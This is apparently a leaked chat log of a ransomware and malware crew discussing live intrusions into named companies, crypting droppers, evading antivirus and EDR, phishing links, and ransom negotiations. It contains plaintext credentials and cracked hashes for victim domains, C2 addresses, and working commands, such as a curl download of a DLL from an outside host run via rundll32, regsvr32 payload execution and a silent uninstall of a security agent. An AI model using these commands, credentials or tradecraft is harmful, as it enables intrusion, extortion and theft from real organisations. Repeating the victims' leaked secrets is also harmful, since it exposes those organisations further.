попробую поставить себе, если все окей будет, скажу как устанавливать

++

> <@usernamegg:matrix.bestflowers247.online> скоро я спам делать начну ему конфиги

ахахах

da budet super)

chto to esho nashli ?

vchera $40M Laweri uskalznuli...

я слишком стрессую от этой работы, я никогда так не ждал каникулы, как сейчас, если честно

с такими выходными тоже башка загружена работой, очень сложно

tot 85k PC?)

я понимаю, что сейчас конец года, надо онлайн быть, но я просто должен был поделиться мне кажется)

> <@usernamegg:matrix.bestflowers247.online> воду выкачать не можем нормально

dazhe esli budet linux

water, flyt, hyundai, ontex

ага

whafh.com_privat

все переговоры перемотал

аваххаха

etot whafh.com < po xodu IT specialist xochet za svoy schet oplatit')

potomu takuyu malenkuyu cenu pishet)

on po xodu nekomu ne skazal pro problemu

> <@cameron777:matrix.org> sent a file.

> <@cameron777:matrix.org> https://www.zoominfo.com/c/adullam-homes-housing-association-ltd/541309

> <@cameron777:matrix.org> poluchilos chto nit?

cinfab.com

skgas.net

sobiraetes loknut'?

on esho online

> <@cameron777:matrix.org> cinfab.com

u nix xoroshi revenue)

MM

$$ tozhe vkurse

как я понял, там нужно на temserver менять конфиг

FF приходит периодически

да, уехали

znaesh chto ya dumayu

nekto tam ne v kurse

* znaesh chto ya dumayu

* znaesh chto ya dumayu

* nekto tam ne v kurse v offise

nu etot IT specialist' ot uristov

* nekto tam ne v kurse v offise chto ix loknuli

> <@usernamegg:matrix.bestflowers247.online> что ?

> <@cameron777:matrix.org> znaesh chto ya dumayu

a sudya po ego textam on det'ski sadik igraet

> <@usernamegg:matrix.bestflowers247.online> water, flyt, hyundai, ontex

> <@cob_crypt_ward:matrix.bestflowers247.online> глянул, там побольше фильтров будет + DNS с TCP. эта штука покруче редгуарда точно будет

будет круто

это очередь

`51.222.194.213:39681`

Привет всем!

```

hi

Hi

hi

хай

Hi

51.222.194.213:40049

SAZU-PIVIS01 НЕ СТОПАТЬ !!!

image.png

51.222.194.213:45321

* SAZU-PIVIS01 НЕ СТОПАТЬ !!!

```

10.6.5.35

```

5d0c6439b8d3351f950495dfbbaa319a

SEXPA25

62b19ebc29de560fa762cda06a51e11c

fa682d3a7caecb2b2fd1bc065f38b9e8

51.222.194.213:39645

10.2.5.11

Administrator !AWseB3

```

да, делаю, пытаюсь фиксить

сегодня еще попробую поставить BounceBack

aa46657626fceebfdecfa7f2e76d064b

* ```

```

SharpSecDump палится, особенно на ДЦ

SharpSecDump палится он не такой безобидный как кажется

msiexec.exe /x {940590BF-593E-418B-809D-F48EA0EC751E} /norestart /qn

5c850165a2cd872e203d907437a21202

782262621cf01c844da92b6939c87493

```

* ```

```

желтая полоска на все ебало

X 2023-12-17 в 13.03.11.jpg

```

а что в итоге с био случилось?

привет

да просто, давно его не видел

странно

> <@usernamegg:matrix.bestflowers247.online> оплатил

мне нужна айди транзы

178.236.246.147 ддосят похоже нашу прокладку к ftp9_3, оч долго грузится

дай айди транзы или мы платим еще раз, 2 дня осталось

ну хорошо хоть не в пустоту) https://pay.freekassa.ru/crypto/117159464/9056c9d204383cb0de8248136ecc2602

вот так буду кидать, удобно?

Привет . зачем ?

Все оплачено

++

image.png

agc.jp\ATOPER PAss_w0rd!_Str0nG!

* `agc.jp\ATOPER PAss_w0rd!_Str0nG!`

```

$DCC2$10240#hbea0001#65dac22dd10f6c04d2f57650b5963e2b:6,Abcde.

```

```

51.222.194.213:37907 JP

```

HYUNDAI - наточили косы, хотя тихо двигался, двигаюсь дальше по тихой

Здарова

xagt

ONTEX - там очень медленный DNS и движений вобще по нулям кроме центра сертификации, но что бы мне ебануть MITM нужно подгрузить драйвер, я там на 5 тачках только вишу и больше движений нет. Драйвер не подгружается ни на одной тачке не ебу что такое.

Ебусь короче плотно с двумя сетками, точнее плотно с ONTEX

с HYUNDAI там движений дохуя, главное бы не выпилили

> <@usernamegg:matrix.bestflowers247.online> на порт не позвать прокладки ?

не в файле проблема, инета 0

FLYT я проверил и протестировал на лабе PSRemote

там одному только челу можем поменять пароль который имеет подключение по winrm на DC через PSRemote

PSRemote я протестировал консоль удаленно получил

осталось реализовать это на FLYT

но прямая консоль от чела которому поменяем пароль в FLYT не даст нам сессию от системы или админа, потому что он просто юзер я так понял и не факт что локальный админ на ДЦ

получится позвать скорее всего саму ДЦ если повезет

и придется LPE шить ее

иначе никак

пасс сменим, прыгнем если повезет

и если сойдуться звезды LPE получится))

короче пиздец как все шатко

> <@usernamegg:matrix.bestflowers247.online> на лабе все получилось, значит не зря вчера поднимали сервр новый и лабу ставил $$

> <@usernamegg:matrix.bestflowers247.online> кто то уже с температурой тут

с флайтом продолжим с SS, сменим пасс скорее всего хули либо отложить на след раз

> <@usernamegg:matrix.bestflowers247.online> они без продыха ну

что бы качать нужен доменной =)

что то нынче хуево крутятся сетки ))

даже при условии что через цитрикс доступ

я только не понимаю разницу, какая разница между спамом сетки и такими

тоже самое же

```

🐗

> <@usernamegg:matrix.bestflowers247.online> значит админы не так настроили сеть сложно

да это правильная логика я наверно тоже к этому же склоняюсь

privet vsem

Привет!

https://www.zoominfo.com/c/barrack-rodos--bacine/3998523

shas vidam citrix esho

citrix zakrivaetsya poka nado tak robotat' no tam SentinelOne nado bit' ostorozhnim

> <@cameron777:matrix.org> https://www.zoominfo.com/c/barrack-rodos--bacine/3998523

> <@cameron777:matrix.org> https://www.zoominfo.com/c/barrack-rodos--bacine/3998523

sec

kakoy to logindata tam file

nado ?

давай

кстати, хотел спросить, не вариант через smb перекидывать dll на удаленную машину, а потом через remote-exec выполнять ее?

или вам нужно все то же самое, только одной командой?

13.52.211.166

zaxodi

FusionEcho.exe

regsvr32 /s FusionEcho.dll

novi

++

privet

> <@usernamejj:matrix.bestflowers247.online> ++

ok

18.134.6.74

nado probit' vozmozhno eti

kto zdelaet?

* nado probit' vozmozhno eti

> <@cameron777:matrix.org> 18.134.6.74

mogu kerbi snyat'

tam Windef

> <@cameron777:matrix.org> mogu kerbi snyat'

shas zaydu

sika.com.txt

> <@cameron777:matrix.org> sent a file.

mozhete zayti v rdp

rbs.txt

$krb5tgs$23$*svc_jde_palettes$parexgroup.local$HTTP/fr4lx8310.parexgroup.local*$d23b905e2e0d521df3c...bcf0b9cad3:Pal.2018

> <@cameron777:matrix.org> https://www.zoominfo.com/c/barrack-rodos--bacine/3998523

работает

ok

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*svc_jde_palettes$parexgroup.local$HTTP/fr4lx8310.parexgroup.local*$d23b905e2e0d521df3c...bcf0b9cad3:Pal.2018

tam ya exe zapustil dll ne startavalo pochemu to

v parex

он у меня в кобе сейчас

uspevaesh oba smotret'?

стараюсь

ок

> <@usernamejj:matrix.bestflowers247.online> стараюсь

че там

> <@usernamejj:matrix.bestflowers247.online> стараюсь

такое

уже на этапе передачи

ok

> <@usernamess:matrix.bestflowers247.online> ```

хай

есть кто

> <@w:matrixtcFJHPDblmt2rg.network> не с дропабокса

s barrack.com chto to vishlo?

в кобе умирает

либо потом вовсе не стучит

хотя процесс запускается

snyat' kerbi ?

да

ok sahs zaydu

* ok shas zaydu

40ac4e5ef77357d2c72ce746929765d5

5ca7d19ec41026f98ca3fe488b6b39ee

да, вот как раз настраиваю его сейчас, правило делаю

> <@usernamegg:matrix.bestflowers247.online> вариант конечно,главное что не палилось

http:/temp.sh/QbsPm/hh.txt

* https:?/temp.sh/QbsPm/hh.txt

* https://temp.sh/QbsPm/hh.txt

> <@cameron777:matrix.org> https://temp.sh/QbsPm/hh.txt

а у remote-exec есть три параметра, wmi, psexec и какой-ио еще один

rbs_barrack.txt

ku

pomogayu vsem kak mogu

* pomogayu vsem kak mogu)

а кобу кто-то по моему мануалу ставил? получалось, или ошибки возникали?

> <@usernamejj:matrix.bestflowers247.online> ++

да есть

да, отдал на расшифровку

радует)

окей, без проблем

а у вас офис даже?

офигеть

> <@usernamegg:matrix.bestflowers247.online> сегодня всех почти отпустил

> <@usernamegg:matrix.bestflowers247.online> не один )

Кароче без дропбокса тоже норм идет

знаю что повезло, хочу остаться с вами, надеюсь у нас все ок будет

кстати, я недоговорил, знаю еще веб пентест, на среднем уровне, в CTF участвовал, занимали места с командой

вдруг понадобиться где-то

но хочу от

* но хочу от этого уйти, поскольку надоело уже сильно

тему кстати закрыли, но на удаление фоток админ ничего не ответил, спросил у него еще раз

пока что молчит

Привет, как тыт ам?

* Привет, как ты там?

Как дела?

не понял немного вопроса

верю

та нормально, вот делаю по пике тут

щас доделаю все для ограничения доступа для SSD

нет, я просто по жизни стараюсь чему-то новому учиться

чтобы группы можно было указывать

и в принципе, я вижу свой путь в этом

еще по этим меткам можно было поиск делать

всегда разбирался в направляниях пентеста и тд

ну и стилак синхронизация и автозапуск на воркгруп ботах

и днс, и еще надо пролить поисковик ( вайт ) для трафа

угу

кароче дела есть)

сетки все поставил, что запланировал?

5ca7d19ec41026f98ca3fe488b6b39ee:Helene1984.

я видел уведомление

там не админ доменной

я уже двинулся, но доменного пока нет

на 10 тачек двинулся

закрепляюсь

збс

должо лучше еще идти

ладно в пнд го\

по полной

есть просьба

подготовить желательно к 15

адвай

сдавай

с легким паром

> <@cameron777:matrix.org> https://www.zoominfo.com/c/barrack-rodos--bacine/3998523

окей, если крипт выдадут, то все будет готово

мне только крипт по сути

все остальное готово

ponal

еще надо вырубать ленды после прогруза

иначе реверся прут

вроде или я ошибаюсь

bot poka online

no tam esli palev viydet otrubit S1

shas sminutku

otkroyu

zaxodi

окей

щас сделаю

все переключил всех на вайт

ок

с криптой что

инжом

ГГ

будем запускать

или как

инжект EXE?

или что?

да

ехе

сколько весит?

скинь его

я если что сегодня заливать не буду эти фиксы, я лучше с утра залью, чтобы на ночь ничего не сломать)\

я скидывал гг

ладно позже тест сделаю крипта

у вас авторун

работает

Мне бы линки под ленды новые че нибудь посоветуй

> <@ssd:matrix.bestflowers247.online> у вас авторун

типо добавлять ваш файл на машину в авторан?

ну смотри после того как бот в сеть выходит

инжект опять работает

или как

ну у нас бот работает

инжект нет

я его вообще в процесс инжектирую

он на тачке даже не храниться

инжект

мой

?

тоесть будет работать инжект

оцессмой бот твой инжект закидывает в другой пр

когда тока тачка в сети

да

твой инжект будет рабоать когда мы его запустим на тачке до перезапуска

и надо проверить твой инжект, совместим ли он с инжектом в процесс вообще

на чем написан этот crypto inject?

нэйтив c++

инжект в процесс должен работать

[19:51:16] uTox User: а тогда хз пройдет ли его инжект в процесс

кодер крипто софта говорит

от крипта?

крипта какого чела?

да хз дали кого то

делает крипт с автозагрузкой

может и ваш делать чел

нужна автозагрузка

https://openai.com/

ага, ну вот хер его теперь, ибо автозагрузка этого криптера может сломаться

у вас кто то грузит вам этот ленд

или могу тоже

> <@ssd:matrix.bestflowers247.online> у вас кто то грузит вам этот ленд

сколько весит билд инжекта этого без крипта?

завтра скажу

дохера весит

вроде бы

+++

окей

> <@usernamegg:matrix.bestflowers247.online> sent an image.

ГГ хоть одна сетка в работу пошла с 200 ботов

или шлак все

ну щас погрузим неделю другую

видно будет

что то менять придется ленды или хз

но слак тимка анидеск

корп ленды

> <@usernamegg:matrix.bestflowers247.online> всех отпустил

пиздец бред бля

да ладно где отписали?

а что отписали?)

пиздец

посмотрел если что bounceblack, сейчас нужно с репетитором позаниматься, потом напишу в чат что и куда, ок?

> <@usernamegg:matrix.bestflowers247.online> ладно примем достойно этот бред ебаный и купим алл с давней регой

может написать админу?

я помню раньше хорошо общался с админом экспы он шел на какие то уступки но это было ебать давно))

он нам на нашем акке удалял сообщения на форуме

старые какие то где были оставлены жабы итд

тогда редактировать вроде нельзя было сообщения

> <@usernamegg:matrix.bestflowers247.online> жесть )

))))

пиздец ну бан это жоостко

> <@cameron777:matrix.org> https://www.zoominfo.com/c/barrack-rodos--bacine/3998523

> <@cameron777:matrix.org> vishlo deshnut' admina?

я не понял связи между баном и человеком

да это к лучшему

не гони

давно надо было сменить акк

висеть в том деле на 1 акке не есть хорошо

это мониторинг и вся хуйня

нахуй оно надо

висеть на 1 акке хуево

то что забанили заебись, лучше вобще пусть удалят все внешние сообщения

> <@usernamegg:matrix.bestflowers247.online> но его в печку я бы засунул

бро привет

в общем должна транза в итоге, но прошли почти сутки

было страшно)

есть нормальная нагрузка?

* в общем дошла транза в итоге, но прошли почти сутки

под спуф и/или под тимс

да, утром в офис. я наверно тогда приеду как ты закончишь работу

чтобы спокойно увидеться и я тебя не дергал

> нет)

вроде доставка есть, а доставлять нечего(

ссылку в пдф зашиваешь ?

AGCNA поставили ведь?

я бы exit сделал там где стучат в кобы

что бы не побанили быстро их

ссылки сжирает почти все пруфпоинт, только если пдф в дропбокс запихнуть, тогда пройдет

ku

etim uristam nado zvoit', oni ne vkurse vsego etogo

I reiterate that we are unable to pay the amounts you are asking. When you re ready to present realistic numbers, then we can talk about that. In the meantime we are recovering our systems.

Бурито протестировал подпись файлов, все окей

привет. завтра буду после обеда

с подписью разобрались

```

```

> <@usernamejj:matrix.bestflowers247.online> не расшифровали еще

Привет, я тут

готовлю все к запуску

> <@cameron777:matrix.org> vse esho tixo po nemu ?

Привет! Если фул формат, тогда я вручную его буду добавлять

Сделаю за сегодня чекер для фулл формата

JS же будем слать?

нужны впски

я еще тут сделал выкачку писем через сипанельки, а также сделал выкачку писем плеск панелей, но там конечно думаю шлака много с первого всгляда, страны далеко не юса

> Goods_5k.txt_17.12.2023.txt [Suitable: 4,006]

4k новых валидных вышло

сделал такой чекер для фулла, пусть сбрасывает в таком формате

```

линков нет, тогда скоро сделаю на сипанелях

> <@usernamess:matrix.bestflowers247.online> 782262621cf01c844da92b6939c87493

щас вот скину тенбе

дллку только пусть сделают до 2мб

https://miraclejex.com/vjxh/{random}

линки на дллку

PASS: 5894f19e9f38ecdbb34b20b66b174a90

dropper_GG15MO_f0adda360d2b4ccda11468e026526576_jHPWZs.zip

dropper_GG_PEREGRUZ2_MO_f0adda360d2b4ccda11468e026526576_FffD0BaKv.zip

dropper_SSD_TRAFF_2_f0adda360d2b4ccda11468e026526576_v9my4T206.zip

я залил апдейты все, кроме автозапсука стилака, чуть позже залью

а так все остальное сделал

> <@usernamegg:matrix.bestflowers247.online> ты без прокладки сделал ее ?

добавил фичи по блокировке пользователей

смене пароля

Принял. Занима.сь

добавления ограничения по потокам

у SSD и его сапа уже настроил все

У вас по дефолту все видно

Теперь если кто то меняет статус бота, будет ставиться Note автоматом

капец, весь туалет обоссан, окно смотрит прямо на окно соседа и сломано жалюзи

как они вообще живут

Скоро залью со стилаком апдейт, чтобы все автоматом работало

позже, я от такого вида перехотел

> <@lapa:matrix.bestflowers247.online> > Goods_5k.txt_17.12.2023.txt [Suitable: 4,006]

пусть сбрасывает в таком формате

вот такой формат у того чела но если у нас не работает чек на comcast и cox смысла брать такое не вижу " есть там комкаст валидный

пусть сбрсывает

я еще переделаю чекер мыла и пасса, и поставлю все перечекиваться на январь

https://seovdetech.com/EFm/{random}

вот эти линки юзаем

те грязные

privet vsem

привет, я могу твой закреп для barrack.com запустить еще на другой машине barrack?

Скинешь крипт, я сразу сделаю msi и для траф залью

> <@usernamejj:matrix.bestflowers247.online> привет, я могу твой закреп для barrack.com запустить еще на другой машине barrack?

shas zdelayu novi

chtob unik bilo

QuarkHub.dll

SpectraKinetic.exe

esli dll ne zapustitsya probuy exe

++

regsvr32 /s QuarkHub.dll

```

```

пришел закреп?

BRBUTILITY_Administrator_64C03071

> <@usernamenn:matrix.bestflowers247.online> 5ca7d19ec41026f98ca3fe488b6b39ee

> <@cameron777:matrix.org> BRBUTILITY_Administrator_64C03071

сессию закрыл рдп

KTBSLAW 30adaa8b-070f-459c-8604-56a8295d66c8

добавь плиз к рубеусу

как греть смтп ?

`inseinc.com`

`andersonandjones.com`

`thirdstreetbrewhouse.com carolinabeveragegroup.com`

FLYT.schwanshs.net

po nemu zdelali na vixodnix?

nu skoro budet

спс

церковь нет

ok ne chital infu)(

* ok ne chital infu)

nezachem) info text ne uspel prochitat tam media bilo induystry

* nezachem) info text ne uspel prochitat tam media bilo industry

potomu skinul

ya gotovil shell itd

бен еще крипт не отдал?

ага, окей

чищу

> <@usernamegg:matrix.bestflowers247.online> я спросил где ты есть

все, понял)

+++

да

окей

запустил

минут 5 и скину

PASS: f1fc5e7919ba80b33747ec5ced3a0780

dropper_USER0_TRAFF_1_EXE_f0adda360d2b4ccda11468e026526576_dkzqO.zip

проверил если что отстук

15 IP на билде

14 чистые, 1 стабильный

image.png

локбит там трилионы зарабытывает ?)

еще не пришли?

> <@usernamejj:matrix.bestflowers247.online> ```

fep0nwlk21xkrnbmifnd.png

INSE_BIG-24fd2536.png

aj-logo-head.png

+

да я так.. просто отчет попался

сегодня линками прошлем юсу

они почему-то часто в топах фигурируют

> <@usernamegg:matrix.bestflowers247.online> [15:41:42] сборщик - iso + lnk : Download: https://qaz.im/load/NN8d76/9506cee6-4b93-4eae-84fa-8d2f77771ef8

но можно попробывать в среду атачем прослать

Enzo Medical Data Breach Complaint.docx

жду дллку

js скачалась спокойно

привет

а ты грузил на той неделе?

понятно

крипт от бена загрязнился жестко)

3k

да ппц

в пятницу попробовали

> <@usernamegg:matrix.bestflowers247.online> https://file.io/lun7g5GEkOG2 - тут чисто все ?

может 10 писем отправили

сеголня новогодняя елка

Потому, что каждый раз начинаю с чистки, чтобы выдать рабочий вариант.

да, кобу палят(

надеюсь в течении часа. большую часть уже сделал

нет

привет, я на месте если что

доделал шеллкод х86

наконец то

просто пиздец) других слов нет

теперь к пингу...

The largest known

image.png

всем привет, я на месте и жду .bin'ы на крипт

> <@usernamenn:matrix.bestflowers247.online> отлично, научись ее настраивать тогда и будем ее юзать лучше

готово

кстати из темы скринщоты удалили, все ок

дак я читаю исследования чтобы найти какие-то зацепки по таргетам

по инбоксам и схемам

в потоке инфы разное попадается

да

не то что я сижу считаю чьи-то деньги, просто интересный факт на мой взгляд

решил скинуть

ssd: У тебя есть запросы по крипте?

Всем привет!

2 комплекта бы, 1 на крипт отдать надо, 1 чтоб обычный был

c36_x64.bin

----

пока нечего отправлять , думаю над нагрузкой

msi в тимсе не заходит

lockers.zip

нужен крипт

все лнк и юрл я перетестил - херня

+++

та мне надо добавить просто в детект

под спуф еще дописываем софт, точечно попробвоали сборки msix = не заходит

чтобы крипту нормально детектило

чтобы показывало, что есть из крипты на тачке

но да, я ему не сильно доверяю

скалдывается иногда выпечатление, что они там меняются когда общаются

ибо 1 день 1 манера разговора, другой другая

со спуфом точно тема рабочая, вопрос только что отправлять

ну и тимс тоже, мы когда лнк слали на гейт были десятки ботов.. а вот с мсй - щ

* ну и тимс тоже, мы когда лнк слали на гейт были десятки ботов.. а вот с мсй - 0

поэтому сижу читаю за что зацепится в плане связок с нагрузкой

в целом живу с этими мыслями )

слушай, у тебя каким браузером пользуются все, на основе хрома?

я просто хочу сдлеать extension

чтобы защшитить панель

чтобы только с ним можно было входить

под chrome ззнаю как написать, а вот под firefox, надо будет смотреть

чтобы я в плане себе дописал

----

можем попробовать твою нагрузку отправить , ты скажешь отрасль я отберу несколько таргетов

просто проверить на сколько это эффективно

он тебе собирает сейчас?

понял, ну он нагрзку не делает

ага, ну отлично

тогда сделаю extension

там он сразу с исходником будет, чтобы вы посмотрели, ячто там все четко

у тебя есть, те кто работают по стилакам?

а то запросы бы эти добавил, нигде найти не могу)

может спроси у кого то, кто занимается +- этим

business-banking/

вот типо такого, как для банков

binance.

и так далее

нет

Гружу

1.7z

строка - iIwOJVTmxcTRehdWYKtJCsaKRfbxagtPeGPgjvHXUSrtievxjr

+

> <@muaddib6:matrix.org> sent a file.

> <@usernamejj:matrix.bestflowers247.online> sent a file.

+

ну юсу только запускать, европу позно уже

> <@cob_crypt_ward:matrix.bestflowers247.online> Что-то не так с профилем, вылетает

Хорошо. Доделываю остальные

`https://www.securitylab.ru/news/544663.php`

Trojan:Win32/Pikabot.DA!MTB

ща проверю точно ли новый длл скачался

думаю на тимсервере, если на клиенте нет лишних плагинов

да видел

пиздец, сижу в ахуе

в момент раскрутили

> <@usernamegg:matrix.bestflowers247.online> заводи карету, поехали )

это старая дллка

да уж, ждали с нетерпением

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/25677

тут corp_access

от трекера лучил

и я там вам HVNC уже поставил

лечил

и пиздец, с первого прогруза снова палят

ну на линке старый длл просто лежит еще

не обновился

вакатак на дллку при запуске через js

пиздец он черт ...

прям словил этот момент, как дочитал почту и в пуск и вырубить...

ща еще раз проверю

нет чтобы в сон отправить или забить вообще)

ну я думаю скоро появитьс в сети, видимо ушел куда то

Trojan:Script/Wacatac.B!ml

C:\Users\Tom\AppData\Local\Temp\saepe.z

да, вакатак летит

ща проверю скачивание дллки чере курл

curl -o tm.dll https://buildmateindia.com/yPS3F6/18 ну я вот так скачал и запустил

rundll32 tm.dll,Enter

все ок

> <@usernamegg:matrix.bestflowers247.online> главное что бы не выкладывали тебя никуда

запустилось

не хотелось бы

а ты js грузишь?

пусть поменяет C:\Users\Tom\AppData\Local\Temp\saepe.z на C:\Users\Tom\AppData\Local\Temp\saepe.dll